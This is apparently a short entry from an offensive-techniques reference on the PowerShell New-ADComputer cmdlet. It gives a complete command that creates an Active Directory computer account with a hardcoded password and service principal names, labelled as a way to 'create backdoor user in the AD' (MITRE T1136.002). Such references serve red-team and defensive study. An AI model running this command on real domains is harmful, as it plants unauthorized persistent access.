.. / New-ADComputer

Creates a new Active Directory computer


Functions:
Type:
Toolsets:

Domain

Create computer account

$account = 'MyComputer'
$password = 'Password1!'
$domain = 'ad.bitsadmin.com'
New-ADComputer -Name $account -SAMAccountName $account -AccountPassword (ConvertTo-SecureString $password -Force -AsPlainText) -Verbose -DNSHostName "$account.$domain" -ServicePrincipalNames @("HOST/$account.$domain","RestrictedKrbHost/$account.$domain","HOST/$account","RestrictedKrbHost/$account")
Usecase
Create backdoor user in the AD

Comments
Mitre Att&ck
T1136.002




Updated: 2023-07-01
Contributor: Arris Huijgen (bitsadmin)